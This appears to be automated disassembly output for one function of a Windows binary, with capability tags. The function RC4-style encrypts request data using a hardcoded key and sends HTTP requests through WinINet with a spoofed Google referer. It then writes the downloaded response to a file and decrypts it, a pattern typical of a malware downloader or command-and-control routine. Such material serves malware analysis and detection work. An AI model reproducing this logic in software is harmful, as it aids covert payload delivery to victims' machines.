Function at 0x10012dc0
Capabilities:
Check http status code
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
push ebx
push esi
xor esi, esi
push edi
push 0xff
mov edi, eax
lea eax, [ebp - 0x127]
push esi
push eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x1c], 4
mov dword [ebp - 0x20], esi
mov dword [ebp - 8], esi
mov byte [ebp - 0x128], 0
call sub.MSVCRT.dll_memset
xor ecx, ecx
add esp, 0xc
mov word [ebp - 0x28], cx
cmp edi, esi
je 0x10013225
cmp dword [ebp + 0xc], esi
je 0x10013225
cmp dword [ebp + 0x24], esi
je 0x10012ec0
mov eax, dword [ebp + 0x20]
xor ebx, ebx
test eax, eax
je 0x10012e59
lea esi, [eax + 0x13]
and esi, 0xfffffff0
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x10012e56
push esi
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov esi, dword [ebp - 8]
mov dword [ebp - 0xc], ebx
test ebx, ebx
je 0x10013225
mov edx, dword [ebp + 0x20]
mov eax, dword [ebp + 0x1c]
push edx
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor eax, eax
mov word [ebp - 0x28], 1
xor ecx, ecx
nop
mov byte [ebp + ecx - 0x128], cl
inc ecx
cmp ecx, 0x100
jl 0x10012e80
xor esi, esi
mov cl, byte [eax + str.0xZ7aLz5Lq2bY6dfapRpNMY6HIjbYSXbiWl7e69aT1P26YGVfye6Iq5ZEQLxquY]
xor byte [ebp + esi - 0x128], cl
inc eax
cmp eax, 0x3f
jl 0x10012ea7
xor eax, eax
inc esi
cmp esi, 0x100
jl 0x10012e92
mov edx, dword [ebp + 0x20]
push ebx
push ebx
lea eax, [ebp - 0x128]
call fcn.10016320
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0x14]
push 0x4000000
push 0
push 0
push edx
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp + 8], eax
test eax, eax
je 0x100131ca
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x10], eax
test eax, eax
je 0x100131ca
mov esi, dword [ebp + 0x18]
mov eax, 0x10049840
test esi, esi
je 0x10012f12
mov eax, str.POST
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x10]
push 1
push 0
push 0
push 0
push str.HTTP_1.0
push ecx
push eax
push edx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp - 4], eax
test eax, eax
je 0x100131ca
mov ebx, dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
cmp esi, 1
jne 0x10012f5d
cmp dword [ebp + 0x28], 0
jne 0x10012f5d
push 0x20000000
push 0xffffffffffffffff
push str.Content_Type:_application_x_www_form_urlencoded_r_n
mov esi, eax
push esi
call ebx
jmp 0x10012f60
mov esi, dword [ebp - 4]
push 0x20000000
push 0xffffffffffffffff
push str.Referer:_http:__www.google.com_r_n
push esi
call ebx
cmp dword [ebp + 0x28], 0
je 0x10012fa5
push 0x1005acf8
push str.Content_Type:_multipart_form_data__boundary____________________________s_r_n
lea eax, [ebp - 0x230]
push 0x104
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
push 0x20000000
push 0xffffffffffffffff
lea ecx, [ebp - 0x230]
push ecx
push esi
call ebx
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10012faf
mov eax, dword [ebp + 0x1c]
mov edx, dword [ebp + 0x20]
push edx
push eax
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x100131ca
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x14]
push edx
push 0x20000013
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x100131ca
cmp dword [ebp - 0x14], 0xc8
jne 0x100131ca
mov ecx, dword [ebp + 0x10]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push ecx
mov dword [ebp - 8], 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x100131ca
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x1010
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10013109
push 0x1010
push 0
push esi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
lea edx, [ebp + 0x24]
push edx
push 0x1000
push esi
push eax
mov dword [ebp + 0x24], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x100130ed
mov eax, dword [ebp + 0x24]
test eax, eax
je 0x100130ed
push 1
push 0
push 0
push ebx
mov edi, eax
mov dword [ebp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push edi
push 0
push eax
push ebx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_LockFile]
push 0
lea ecx, [ebp + 0x20]
push ecx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp + 0xc]
push 0
push edi
push 0
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_UnlockFile]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013025
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10013025
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10013109
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
test ebx, ebx
je 0x10013130
lea eax, [ebp + 0x20]
push eax
push ebx
mov dword [ebp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10013130
test byte [ebp + 0x20], 2
jne 0x10013130
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x2c], 0
je 0x100131d0
mov ebx, dword [ebp + 0x10]
push 0
lea ecx, [ebp - 0x18]
push ecx
mov eax, ebx
call fcn.10005630
mov esi, eax
test esi, esi
je 0x100131d0
xor eax, eax
mov word [ebp - 0x28], 1
xor ecx, ecx
mov edi, edi
mov byte [ebp + ecx - 0x128], cl
inc ecx
cmp ecx, 0x100
jl 0x10013160
xor ecx, ecx
mov dl, byte [eax + str.0xZ7aLz5Lq2bY6dfapRpNMY6HIjbYSXbiWl7e69aT1P26YGVfye6Iq5ZEQLxquY]
xor byte [ebp + ecx - 0x128], dl
inc eax
cmp eax, 0x3f
jl 0x10013187
xor eax, eax
inc ecx
cmp ecx, 0x100
jl 0x10013172
mov edx, dword [ebp - 0x18]
push esi
push esi
lea eax, [ebp - 0x128]
call fcn.10016320
mov eax, dword [ebp - 0x18]
push eax
push esi
mov eax, ebx
call fcn.10005550
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100131d0
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x100131d0
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, dword [ebp - 0xc]
test esi, esi
je 0x100131f3
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x100131f3
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [ebp - 4], 0
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
je 0x10013205
mov ecx, dword [ebp - 4]
push ecx
call esi
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1001320f
push eax
call esi
mov eax, dword [ebp + 8]
test eax, eax
je 0x10013219
push eax
call esi
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x28
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x28